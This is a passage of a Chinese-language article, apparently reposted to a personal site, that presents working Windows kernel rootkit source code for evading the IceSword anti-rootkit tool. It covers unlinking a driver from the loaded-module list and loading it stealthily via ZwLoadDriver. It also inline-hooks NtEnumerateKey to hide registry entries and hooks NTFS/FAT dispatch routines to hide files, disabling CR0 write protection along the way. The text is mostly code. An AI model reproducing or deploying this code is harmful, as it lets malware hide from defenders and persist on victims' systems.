&& (*(Sysinit+0x1)) == 0x05 && (*(Sysinit+0x6)) == 0x01 && (*(Sysinit+0x7)) == 0xE8 ) { _asm { pushad mov edi, Sysinit mov eax, [edi+0x8] add edi, 0xC add edi, eax mov InitSystem, edi popad } } if ( InitSystem != 0) break; } if ( InitSystem == 0 ) { return STATUS_DEVICE_CONFIGURATION_ERROR; } for ( i=0, DebuggerDataBlockPtr = (unsigned char * )InitSystem; i<0x70; i++,DebuggerDataBlockPtr++) { if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b ) { DebuggerDataBlockPtr--; DebuggerDataBlockPtr--; for (j=0; j<0x10; j++, DebuggerDataBlockPtr--) { if ( *DebuggerDataBlockPtr == 0x68 ) { _asm { pushad mov edi, DebuggerDataBlockPtr inc edi mov eax, [edi] mov KdDebuggerDataBlock, eax popad } break; } } } if ( KdDebuggerDataBlock != 0 ) { break; } } if ( KdDebuggerDataBlock == 0 ) { return STATUS_DEVICE_CONFIGURATION_ERROR; } _asm { pushad mov edi, KdDebuggerDataBlock mov eax, [edi+0x48] mov PsLoadedModuleListPtr, eax popad } if ( PsLoadedModuleListPtr == 0 ) { return STATUS_DEVICE_CONFIGURATION_ERROR; } //獲取 Ntoskrnl 的起始地址 NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr; NtosModPtr = ( PMODULE_ENTRY ) (NtosModPtr->le_mod.Flink ); NtoskrnlBase = (DWORD) ( NtosModPtr->base ); return STATUS_SUCCESS; } NTSTATUS RemoveModule ( ) { DWORD RemoveModleAddr; PMODULE_ENTRY PModPtr_Current; PMODULE_ENTRY PModPtr_Flink; PMODULE_ENTRY PModPtr_Blink; PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Current->le_mod.Flink); //Get RemoveModle Addr RemoveModleAddr= DriverAddr; for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) ) { if ( RemoveModleAddr > ((DWORD)PModPtr_Flink->base) && RemoveModleAddr < ((DWORD)(PModPtr_Flink->Size) + ((DWORD)PModPtr_Flink->base)) ) { PModPtr_Blink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Blink); PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink); PModPtr_Blink->le_mod.Flink= (PLIST_ENTRY)PModPtr_Flink; PModPtr_Flink->le_mod.Blink= (PLIST_ENTRY)PModPtr_Blink; IsDelModule=TRUE; break; } } if ( IsDelModule != TRUE ) { return STATUS_DEVICE_CONFIGURATION_ERROR; } return STATUS_SUCCESS; } 上面這兩個函數(shù)中,GetPsLoadedModuleListPtr()是通過特征碼搜索獲取KdDebuggerDataBlock的位置,使用特征碼搜索辦法雖然不是很好,但是通用性強。然后再以此獲取PsLoadedModuleList地址,RemoveModule()用來實現(xiàn)在PsLoadedModuleList鏈表中刪除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。 五、隱藏服務(wù): 普通情況下加載驅(qū)動需要 OpenSCManager->CreateService->StartService,這樣驅(qū)動就會跑到服務(wù)管理器中去注冊一下自己,并且要隱藏這樣加載驅(qū)動的服務(wù),不是不行,只是太麻煩而且沒效率了。要hook一大堆的服務(wù)函數(shù)。不過在逆向IS的時候發(fā)現(xiàn)了一個不需要去服務(wù)管理器注冊而直接加載驅(qū)動的方法。就是使用ZwLoadDriver(這個函數(shù)通常是ring0中加載驅(qū)動時用,由于被Ntdll.dll導(dǎo)出,ring3就也能用了)進行直接加載。這樣就不用去服務(wù)管理器中注冊自己,并且這樣加載的驅(qū)動windows系統(tǒng)工具中的“系統(tǒng)信息”查看器也查不到你,更不用說那些什么服務(wù)管理器之類的東東了。屢用不爽。下面介紹一下用法: 1、首先自己在注冊表的服務(wù)項中添加一個自己的服務(wù)名字項。 2、在自己添加的服務(wù)名字項中添加一些驅(qū)動信息(其實就是手工實現(xiàn)CreateService()函數(shù)對注冊表的那些操作),這些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工設(shè)置這些鍵以及鍵值。 按上面設(shè)置完后,來看看ZwLoadDriver的原形: NTSTATUS ZwLoadDriver( IN PUNICODE_STRING DriverServiceName ); 下面的代碼給出了ZwLoadDriver的使用例子: AnotherWayStartService( TCHAR *szDir ) { HKEY RegKey; HKEY hLicenses; DWORD disp; DWORD ErrorControl=NULL; DWORD ProcessID; DWORD Start=3; DWORD Type=1; LONG Regrt; DWORD ZwLoadDriver; DWORD RtlInitUnicodeString; UNICODE_STRING RegService; PCWSTR RegServicePath= L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath"; TCHAR DriverFilePath[MAX_PATH] = "\\??\\"; Regrt = RegOpenKeyEx ( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services", 0, KEY_CREATE_SUB_KEY + KEY_SET_VALUE, &hLicenses ); if ( Regrt != ERROR_SUCCESS ) { return false; } Regrt=RegCreateKeyEx ( hLicenses, "neverdeath", 0, "", REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &RegKey, &disp ); if ( Regrt != ERROR_SUCCESS ) { return false; } Regrt = RegOpenKeyEx ( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\neverdeath", 0, KEY_CREATE_SUB_KEY + KEY_SET_VALUE, &RegKey ); if ( Regrt != ERROR_SUCCESS ) { return false; } Regrt = RegSetValueEx ( RegKey, "ErrorControl", NULL, REG_DWORD, (const unsigned char *)(&ErrorControl), 4 ); if ( Regrt != ERROR_SUCCESS ) { return false; } strcat(DriverFilePath, szDir); Regrt = RegSetValueEx ( RegKey, "ImagePath", NULL, REG_EXPAND_SZ, (const unsigned char *)(&DriverFilePath), strlen( DriverFilePath ) ); if ( Regrt != ERROR_SUCCESS ) { return false; } Regrt = RegSetValueEx ( RegKey, "Start", NULL, REG_DWORD, (const unsigned char *)(&Start), 4 ); if ( Regrt != ERROR_SUCCESS ) { return false; } Regrt = RegSetValueEx ( RegKey, "Type", NULL, REG_DWORD, (const unsigned char *)(&Type), 4 ); if ( Regrt != ERROR_SUCCESS ) { return false; } //還記得前面隱藏進程時,我們進程ID是從注冊表中取的 //下面就是把進程ID寫入注冊表,不會影響驅(qū)動的加載 ProcessID=GetCurrentProcessId(); Regrt = RegSetValueEx ( RegKey, "ProcessID", NULL, REG_DWORD, (const unsigned char *)(&ProcessID), 4 ); if ( Regrt != ERROR_SUCCESS ) { return false; } CloseHandle( RegKey ); ZwLoadDriver = (DWORD) GetProcAddress ( GetModuleHandle( "ntdll.dll" ), "ZwLoadDriver" ); RtlInitUnicodeString = (DWORD) GetProcAddress( GetModuleHandle( "ntdll.dll" ), "RtlInitUnicodeString" ); _asm { pushad push RegServicePath lea edi, RegService push edi call RtlInitUnicodeString //裝載UNICODE字符 lea edi, RegService push edi call ZwLoadDriver popad } return true; } 請注意上面這段代碼中加載驅(qū)動時所使用的注冊表路徑格式是: “\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath” 而不是: “HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath” 也許你已經(jīng)想到了那么卸載驅(qū)動會不會就是函數(shù)“ZwUnloadDriver”?自己試一下不就知道了:) 六、隱藏注冊表: IS處理注冊表并沒有什么新意,就是調(diào)用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一類的注冊表操作函數(shù),通過偽造內(nèi)核文件,所以這部分可以很輕松hook并實現(xiàn)隱藏。IS在這里玩了一個小花樣,在XP下,IS會在把從ntoskrnl.exe讀到的NtEnumerateKey起始地址的第三個字(注意是字,不是字節(jié)!)先加上0xD50后,再進行還原,因此你在偽造內(nèi)核文件時必須先把自己構(gòu)造的代碼的第三個字減去0xD50后再寫入到otoskrnl.exe中,否則就等著BSOD吧。而在2K中就不需要這些操作。這里主要是通過hook注冊表函數(shù)NtEnumerateKey來隱藏我們注冊中的“CurrentControlSet\Services”下的 “neverdeath”項以及“CurrentControlSet\Enum\Root”下的“LEGACY_NEVERDEATH”項。至于隱藏鍵與鍵值在這里就不說了,自己隨手寫一個就是了。順便提一下,由于windows的regedit也是調(diào)用這些函數(shù)訪問注冊表,所以如果你在IS中隱藏了注冊表也就等于在windows的regedit中隱藏了。以下代碼在XP下測試通過,如要在2K或2K3中運行,請根據(jù)需要自己進行取舍。 由于NtEnumerateKey沒有被ntoskrnl.exe導(dǎo)出,這里利用 NtEnumerateKey在服務(wù)表 偏移 = “NtDuplicateToken”在服務(wù)表中的偏移+2 來獲取NtEnumerateKey地址。 PCWSTR HideKey = L"neverdeath"; PCWSTR HideKeyLEG = L"LEGACY_NEVERDEATH"; unsigned char ResumCodeNtEnumerateKey[6]; unsigned char CrackCodeNtEnumerateKey[6]; unsigned char CrackCodeNtEnumerateKeyWriteFile[6]; typedef NTSTATUS ( *NTENUMERATEKEY ) ( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ); NTENUMERATEKEY OldNtEnumerateKey; typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry; extern PServiceDescriptorTableEntry KeServiceDescriptorTable; NTSTATUS NewNtEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ) { NTSTATUS Status; PCWSTR KeyNamePtr; _asm //還原 { pushad mov edi, OldNtEnumerateKey mov eax, dword ptr ResumCodeNtEnumerateKey[0] mov [edi], eax mov ax, word ptr ResumCodeNtEnumerateKey[4] mov [edi+4], ax popad } Status = ZwEnumerateKey ( KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength ); if ( Status == STATUS_SUCCESS ) { _asm { push edi mov edi, KeyInformation add edi, 0x10 mov KeyNamePtr, edi pop edi } if ( wcsstr(KeyNamePtr, HideKey)!=NULL || wcsstr(KeyNamePtr, HideKeyLEG) != NULL ) { Index=Index+1; Status = OldNtEnumerateKey ( KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength ); } } _asm //替換 { pushad mov edi, OldNtEnumerateKey mov eax, dword ptr CrackCodeNtEnumerateKey[0] mov [edi], eax mov ax, word ptr CrackCodeNtEnumerateKey[4] mov [edi+4], ax popad } return Status; } NTSTATUS GetOldNtEnumerateKey() { DWORD NtDuplicateTokenAddr; int i=0; NtDuplicateTokenAddr = GetFunctionAddr( L"NtDuplicateToken" ); if ( NtDuplicateTokenAddr == NULL ) { DbgPrint("Get NtQuerySystemInformation Addr Error!!"); return STATUS_DEVICE_CONFIGURATION_ERROR; } for (;;i++) { if ( NtDuplicateTokenAddr == (DWORD)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + i)) ) { OldNtEnumerateKey = (NTENUMERATEKEY)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + (i+2))); break; } } return STATUS_SUCCESS; } NTSTATUS PatchNtEnumerateKey() { NTSTATUS Status; Status = GetOldNtEnumerateKey(); if ( Status != STATUS_SUCCESS ) { DbgPrint("Get NtQuerySystemInformation Addr Error!!"); return STATUS_DEVICE_CONFIGURATION_ERROR; } _asm //關(guān)中斷 { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } _asm { pushad //獲取 NtEnumerateKey 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié) mov edi, OldNtEnumerateKey mov eax, [edi] mov dword ptr ResumCodeNtEnumerateKey[0], eax mov ax, [edi+4] mov word ptr ResumCodeNtEnumerateKey[4], ax //構(gòu)造要替換的代碼,使得系統(tǒng)調(diào)用該函數(shù)時跳到我們構(gòu)造的NewNtEnumerateKey去執(zhí)行 mov byte ptr CrackCodeNtEnumerateKey[0], 0x68 mov byte ptr CrackCodeNtEnumerateKeyWriteFile[0],0x68 lea edi, NewNtEnumerateKey mov dword ptr CrackCodeNtEnumerateKey[1], edi mov dword ptr CrackCodeNtEnumerateKeyWriteFile[1], edi mov byte ptr CrackCodeNtEnumerateKey[5], 0xc3 mov byte ptr CrackCodeNtEnumerateKeyWriteFile[5], 0xc3 //把第NtEnumerateKey的第三個字減去D50在送回 mov ax, word ptr CrackCodeNtEnumerateKeyWriteFile[4] sub ax, 0xD50 mov word ptr CrackCodeNtEnumerateKeyWriteFile[4], ax //把構(gòu)造好的代碼進行替換 mov edi, OldNtEnumerateKey mov eax, dword ptr CrackCodeNtEnumerateKey[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeNtEnumerateKey[4] mov word ptr[edi+4], ax popad } _asm //開中斷 { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } Status = RepairNtosFile( (DWORD)OldNtEnumerateKey, //(DWORD)(&CrackCodeNtEnumerateKey) 2k (DWORD)(&CrackCodeNtEnumerateKeyWriteFile) ); //XP return Status; } 7、隱藏文件: 終于寫到隱藏文件,在實現(xiàn)隱藏文件的過程中,越來越欣賞PJF。IS在獲取文件列表的過程時,迂回戰(zhàn)術(shù)簡直玩到了另人匪夷所思的地步!我花了很多時間(好幾次坐在機子面前十幾個小時想的腦袋都綠了卻一點收獲都沒有)才實現(xiàn)了不用IFS,不用attach文件設(shè)備直接而進行隱藏,當時我甚至去hook函數(shù)IoCallDriver函數(shù)(經(jīng)??吹接行┤薶ook這個函數(shù)失敗,便造謠此函數(shù)不能hook,其實是可以的,但是確實很麻煩,如果你也想試試,為了讓你少走彎路,好意提醒一下,請盡最大努力保護好寄存器?。﹣斫孬@系統(tǒng)所有的IRP包,然后分析,真是差點沒把我搞死! 普通情況下,我們是通過發(fā)送IRP_MJ_DIRECTORY_CONTROL(0xC)請求給FSD來獲取文件列表的。獲取后的信息存在IRP->UserBuffer(0x3c)中。但是你會發(fā)現(xiàn)IS在獲取文件列表時并不發(fā)送IRP_MJ_DIRECTORY_CONTROL給FSD,而是發(fā)送IRP_MJ_DEVICE_CONTROL(0xE)請求給另外一個不知名設(shè)備。并且在該被請求完成后,你在完成的IRP數(shù)據(jù)中找不到任何有關(guān)文件名字的影子?;蛟S你便開始點一只煙,盯著屏幕直發(fā)楞,直想:“這怎么可能呢?”(呵呵,也許pjf要的就是這種效果)。 邪惡的微軟總是想方設(shè)法的企圖蒙蔽我們,讓我們忽略本質(zhì)!內(nèi)核里面的那些什么對象啊、設(shè)備啊、這個啊、那個啊、所有亂七八糟的東東,從本質(zhì)上來講還不都是一堆代碼與數(shù)據(jù)。IS不發(fā)送IRP_MJ_DIRECTORY_CONTROL請求不代表它不會調(diào)用這個例程。 我對IS獲取文件列表的猜想(IS的anti Debug太強, 為了今年之內(nèi)把這個搞定,因此沒時間再陪它耗下去了): 單獨創(chuàng)造一個Device,這個Device的IRP_MJ_DEVICE_CONTROL例程中構(gòu)造IRP與DEVICE_OBJECT后,直接調(diào)用IRP_MJ_DIRECTORY_CONTROL例程,這樣就避免了向文件設(shè)備發(fā)送請求但是還能獲取文件列表的目的了。關(guān)于在完成后的IRP包中無法獲取文件名的功能,其實只要在直接調(diào)用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP->UserBuffer中的內(nèi)容轉(zhuǎn)移或加個密就輕易實現(xiàn)了。 雖然這只是猜想,但是為了驗證我的想法。我單獨寫了個test證明我的想法是可行的。我不能確定IS就是這樣做,但我能確定如果你這樣做的話就能達到類似的效果。 IS就是通過設(shè)置IO_COMPLETION_ROUTINE函數(shù)來第一時間處理完成后的結(jié)果,我們下面用的方法就是通過替換這個IO_COMPLETION_ROUTINE來搶先處理結(jié)果。我們處理完了再調(diào)用IS的IO_COMPLETION_ROUTINE函數(shù)。另外要說的是,由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一個文件名(哪怕已重復(fù)出現(xiàn))。而你在自己的IO_COMPLETION_ROUTINE中如果檢測到是自己要隱藏的文件名的話,不能不調(diào)用原先IS的IO_COMPLETION_ROUTINE,否則BSOD。因此你只能更改文件屬性了,更改文件屬性也能達到隱藏的目的。還記不記的以前DOS時代的[.]與[..]文件夾嗎(那片笑聲讓我想起我的那些文件夾)。當返回你要隱藏的文件時信息,把這些信息全都替換成[.]或[..]文件夾屬性(當然包括文件名信息了)就行了。 下面的代碼先獲取FSD設(shè)備的IRP_MJ_DIRECTORY_CONTROL分派函數(shù)的地址,然后對該函數(shù)進行hook。在我們構(gòu)造的新的IRP_MJ_DIRECTORY_CONTROL分派函數(shù)中通過IO_STACK_LOCATION中的Length(+0x4)數(shù)值來判斷是否時IS(IS的Length很特殊,是0xfe8。平常的都是0x1000),是的話就進行替換IO_COMPLETION_ROUTINE。 下的代碼在FAT32、NTFS、NTFS&FAT32中測試通過,在純Fat中也測試通過。 PCWSTR HideDirectory =L"neverdeath"; PCWSTR HideFile = L"otoskrnl.exe"; DWORD NtfsUserbuf; DWORD NtfsFileName; DWORD NtfsLocaIrp; DWORD FatUserbuf; DWORD FatFileName; DWORD FatLocaIrp; typedef NTSTATUS (*_DISPATCH) ( IN PDEVICE_OBJECT DeviceObject, IN OUT PIRP Irp ); _DISPATCH OldNtfsQueryDirectoryDispatch; _DISPATCH OldFatQueryDirectoryDispatch; PIO_COMPLETION_ROUTINE OldNtfsCompletionRuntine; PIO_COMPLETION_ROUTINE OldFatCompletionRuntine; NTSTATUS NewNtfsCompletionRuntine( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context ) { NTSTATUS Status; _asm { pushad mov edi, NtfsUserbuf add edi, 0x5e mov NtfsFileName, edi popad } if ( wcsstr( NtfsFileName, HideDirectory ) || wcsstr( NtfsFileName, HideFile ) ) { _asm { pushad mov edi,NtfsUserbuf mov eax, 0x16 mov dword ptr [edi+0x38], eax mov eax, 0x04 mov dword ptr [edi+0x3c], eax mov eax, 0x002e002e mov dword ptr [edi+0x5e], eax popad } } Status = OldNtfsCompletionRuntine ( DeviceObject, Irp, Context ); return Status; } NTSTATUS NewFatCompletionRuntine( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context ) { NTSTATUS Status; _asm { pushad mov edi, FatUserbuf add edi, 0x5e mov FatFileName, edi popad } if ( wcsstr( FatFileName, HideDirectory ) || wcsstr( FatFileName, HideFile ) ) { _asm { pushad mov edi,FatUserbuf mov eax, 0x16 mov dword ptr [edi+0x38], eax mov eax, 0x04 mov dword ptr [edi+0x3c], eax mov eax, 0x002e002e mov dword ptr [edi+0x5e], eax popad } } Status = OldFatCompletionRuntine ( DeviceObject, Irp, Context ); return Status; } NTSTATUS NewNtfsQueryDirectoryDispatch ( IN PDEVICE_OBJECT DeviceObject, IN OUT PIRP Irp ) { NTSTATUS Status; DWORD QueryFile; _asm { pushad mov edi, OldNtfsQueryDirectoryDispatch mov eax, dword ptr ResumCodeNtfsQueryDirectoryDispatch[0] mov [edi], eax mov ax, word ptr ResumCodeNtfsQueryDirectoryDispatch[4] mov [edi+4], ax popad } _asm { pushad mov edi, Irp mov eax, [edi+0x60] mov ecx, [edi+0x3c] mov edi, [eax+4] mov QueryFile, edi mov NtfsUserbuf, ecx mov NtfsLocaIrp, eax popad } if ( QueryFile == 0xfe8 ) { _asm { pushad mov edi, NtfsLocaIrp mov eax, [edi+0x1c] mov OldNtfsCompletionRuntine, eax lea eax, NewNtfsCompletionRuntine mov [edi+0x1c], eax popad } } Status = OldNtfsQueryDirectoryDispatch ( DeviceObject, Irp ); _asm { pushad mov edi, OldNtfsQueryDirectoryDispatch mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0] mov [edi], eax mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4] mov [edi+4], ax popad } return Status; } NTSTATUS NewFatQueryDirectoryDispatch ( IN PDEVICE_OBJECT DeviceObject, IN OUT PIRP Irp ) { NTSTATUS Status; DWORD QueryFile; _asm { pushad mov edi, OldFatQueryDirectoryDispatch mov eax, dword ptr ResumCodeFatQueryDirectoryDispatch[0] mov [edi], eax mov ax, word ptr ResumCodeFatQueryDirectoryDispatch[4] mov [edi+4], ax popad } _asm { pushad mov edi, Irp mov eax, [edi+0x60] mov ecx, [edi+0x3c] mov edi, [eax+4] mov QueryFile, edi mov FatUserbuf, ecx mov FatLocaIrp, eax popad } if ( QueryFile == 0xfe8 ) { _asm { pushad mov edi, FatLocaIrp mov eax, [edi+0x1c] mov OldFatCompletionRuntine, eax lea eax, NewFatCompletionRuntine mov [edi+0x1c], eax popad } } Status = OldFatQueryDirectoryDispatch ( DeviceObject, Irp ); _asm { pushad mov edi, OldFatQueryDirectoryDispatch mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0] mov [edi], eax mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4] mov [edi+4], ax popad } return Status; } NTSTATUS PatchFileSystemDevicePatDispatch() { NTSTATUS NtfsStatus; NTSTATUS FastFatStatus; UNICODE_STRING FileSystemName; PVOID FileDeviceObject; POBJECT_TYPE ObjectType; DbgPrint("My Driver Loaded!"); RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Ntfs" ); NtfsStatus = ObReferenceObjectByName ( &FileSystemName, 0x40, NULL, NULL, &ObjectType, NULL, NULL, &FileDeviceObject ); if ( NtfsStatus == STATUS_SUCCESS ) { _asm { pushad mov edi, FileDeviceObject mov eax, [edi+0x68] mov OldNtfsQueryDirectoryDispatch, eax popad } _asm { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } _asm { pushad mov edi, OldNtfsQueryDirectoryDispatch mov eax, [edi] mov dword ptr ResumCodeNtfsQueryDirectoryDispatch[0], eax mov ax, [edi+4] mov word ptr ResumCodeNtfsQueryDirectoryDispatch[4], ax mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[0], 0x68 lea edi, NewNtfsQueryDirectoryDispatch mov dword ptr CrackCodeNtfsQueryDirectoryDispatch[1], edi mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[5], 0xC3 mov edi, OldNtfsQueryDirectoryDispatch mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4] mov word ptr[edi+4], ax popad } _asm { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } } RtlInitUnicodeString( &FileSystemName, L"\\FileSystem\\Fastfat" ); FastFatStatus = ObReferenceObjectByName ( &FileSystemName, 0x40, NULL, NULL, &ObjectType, NULL, NULL, &FileDeviceObject ); if ( FastFatStatus == STATUS_SUCCESS ) { _asm { pushad mov edi, FileDeviceObject mov eax, [edi+0x68] mov OldFatQueryDirectoryDispatch, eax popad } _asm { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } _asm { pushad mov edi, OldFatQueryDirectoryDispatch mov eax, [edi] mov dword ptr ResumCodeFatQueryDirectoryDispatch[0], eax mov ax, [edi+4] mov word ptr ResumCodeFatQueryDirectoryDispatch[4], ax mov byte ptr CrackCodeFatQueryDirectoryDispatch[0], 0x68 lea edi, NewFatQueryDirectoryDispatch mov dword ptr CrackCodeFatQueryDirectoryDispatch[1], edi mov byte ptr CrackCodeFatQueryDirectoryDispatch[5], 0xC3 mov edi, OldFatQueryDirectoryDispatch mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4] mov word ptr[edi+4], ax popad } _asm { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } } return ( NtfsStatus & FastFatStatus ); } 以上代碼只能實現(xiàn)在IS中隱藏文件,如果要想在普通情況下隱藏文件,可以hook服務(wù)表中的函數(shù),也可以在上面構(gòu)造新的分派函數(shù)中增加一些選擇項就是了。但是記得hook服務(wù)表中的函數(shù)別忘了把構(gòu)造后的數(shù)據(jù)寫入otoskrnl.exe中,免得IS啟動時失效。 八、關(guān)于端口: 感覺是該停止的時候了,如果把這個也搞出來并且本文被灰鴿子作者之流A進他的作品的話,那就違背我的本意并且我的心也會也會難受的。因此就在這里止步吧! 呵呵,今年我想要學的東西,想要做的事情也都做完了??梢院煤没厝ミ^年了。爽?。∽詈笞8魑皇フQ快樂!特別時那些他鄉(xiāng)的游子。記得打個電話回去問候喲! |
|
來自: intruder > 《技術(shù)文章》